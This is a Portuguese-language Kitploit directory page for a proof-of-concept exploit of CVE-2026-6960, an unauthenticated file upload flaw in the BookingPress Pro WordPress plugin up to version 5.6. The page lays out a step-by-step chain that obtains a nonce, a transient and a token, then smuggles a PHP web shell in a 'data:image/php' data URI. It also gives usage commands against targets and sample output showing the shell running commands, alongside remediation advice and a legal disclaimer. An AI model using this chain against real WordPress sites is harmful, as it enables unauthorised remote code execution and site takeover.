Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-6960 — Exploit de prova de conceito para CVE-2026-6960: upload arbitrário de arquivos não autenticado no BookingPress Pro ≤ 5.6. Automatiza uma cadeia de 3 etapas para fazer upload de um web shell PHP via injeção de URI de dados, alcançando execução remota de código em sites WordPress vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/xxconi/cve-2026-6960
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Exploit de prova de conceito para CVE-2026-6960: upload arbitrário de arquivos não autenticado no BookingPress Pro ≤ 5.6. Automatiza uma cadeia de 3 etapas para fazer upload de um web shell PHP via injeção de URI de dados, alcançando execução remota de código em sites WordPress vulneráveis.

Compartilhar

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Upload Arbitrário de Arquivo Não Autenticado

CVE CVSS CWE Auth Version Python

Pesquisa por: Atomic Edge Severidade: Crítica | CVSS: 9.8 | Autenticação Necessária: Nenhuma

⚠️ v2 — Correções técnicas aplicadas com base no feedback da comunidade. Consulte Changelog para detalhes.


Visão Geral

Existe uma vulnerabilidade crítica de upload arbitrário de arquivo não autenticado no plugin WordPress (versões ≤ 5.6). O manipulador de submissão de reserva processa o valor de um campo personalizado de assinatura como uma . O plugin extrai a extensão do arquivo da parte do tipo MIME da URI via regex e a passa diretamente para — sem nenhuma lista de permissões ou bloqueio de extensões. Isso permite que um atacante escreva um web shell PHP em um diretório acessível pela web e obtenha .

BookingPress Pro
bookingpress_book_appointment_booking
data URI
file_put_contents()
Execução Remota de Código (RCE)
PropriedadeDetalhe
PluginBookingPress Pro (bookingpress-appointment-booking-pro)
Afetado≤ 5.6
Corrigido em5.7
VetorRede / Não Autenticado
Ação AJAXbookingpress_book_appointment_booking
Causa raizExtensão extraída do tipo MIME controlado pelo atacante na data URI → file_put_contents() sem lista de permissões
CWECWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso

Pré-condições

⚠️ Todas as seguintes condições devem ser verdadeiras para que o site seja explorável:

  • ✅ Um campo personalizado do tipo assinatura deve ser configurado no formulário de reserva do BookingPress pelo administrador do site
  • ✅ Pelo menos um serviço ativo deve existir (para gerar um timeslot válido)
  • ✅ Uma página com o widget formulário de reserva do BookingPress deve estar publicamente acessível

Sites executando ≤ 5.6 sem um campo personalizado de assinatura configurado não são exploráveis por este vetor.


Fluxo do Ataque

root@kitploit:~
1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

Detalhe da Causa Raiz

O caminho de código vulnerável processa o valor do campo de assinatura como uma data URI:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

O BookingPress extrai {ext} do tipo MIME usando uma correspondência de regex, em seguida escreve o conteúdo decodificado no disco usando file_put_contents() com essa extensão anexada ao nome do arquivo — nenhuma verificação de lista de permissões é realizada. Fornecer image/php como o tipo MIME resulta em um arquivo .php sendo escrito no diretório de upload.

Isto é fundamentalmente diferente de um upload de arquivo multipart padrão — o payload é incorporado em um campo do corpo JSON, não em uma parte de upload de arquivo.


Requisitos

root@kitploit:~
pip install requests

Uso

root@kitploit:~
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

Argumentos

BandeiraDescriçãoPadrão
-u, --urlURL do WordPress alvo(obrigatório)
-bp, --booking-pageCaminho da página contendo o formulário BookingPress/
-s, --service-idID do serviço BookingPress1
-f, --filenameNome do shell (extensão injetada no MIME da data URI)shell.php
--no-verifyDesabilitar verificação de certificado SSLfalse

Exemplo de Saída

root@kitploit:~
[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

Remediação

  1. Valide o tipo MIME da data URI contra uma lista de permissões estrita (image/png, image/jpeg, image/svg+xml) antes de extrair a extensão
  2. Nunca derive uma extensão de arquivo de uma entrada controlada pelo atacante — gere um nome de arquivo aleatório com uma extensão segura codificada
  3. Use o nativo do WordPress wp_check_filetype_and_ext() para toda validação de tipo de arquivo
  4. Considere armazenar arquivos de assinatura fora da raiz da web para evitar execução direta

→ Atualize para o BookingPress Pro 5.7 imediatamente.


Changelog

v2 (2026-05-23) — Correções Técnicas

#Problemav1 (incorreto)v2 (corrigido)
1Ação AJAXbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Método de payloadUpload de arquivo multipart com image/pngData URI: data:image/{ext};base64,...
3Fluxo de exploraçãoPOST direto não autenticadoCadeia de pré-requisitos de 3 etapas (nonce → transient → token)
4Pré-condiçãoNão documentadoCampo personalizado de assinatura deve ser configurado

Aviso Legal

Este repositório destina-se apenas a pesquisa de segurança autorizada e fins educacionais. Não use esta ferramenta contra qualquer sistema sem permissão explícita por escrito do proprietário do sistema. O uso não autorizado pode violar o CFAA (EUA), Código Criminal s.342.1 (Canadá), Diretiva NIS2 da UE e outras leis aplicáveis. Os autores não assumem nenhuma responsabilidade por uso indevido ou danos decorrentes deste código.

Baixar ferramenta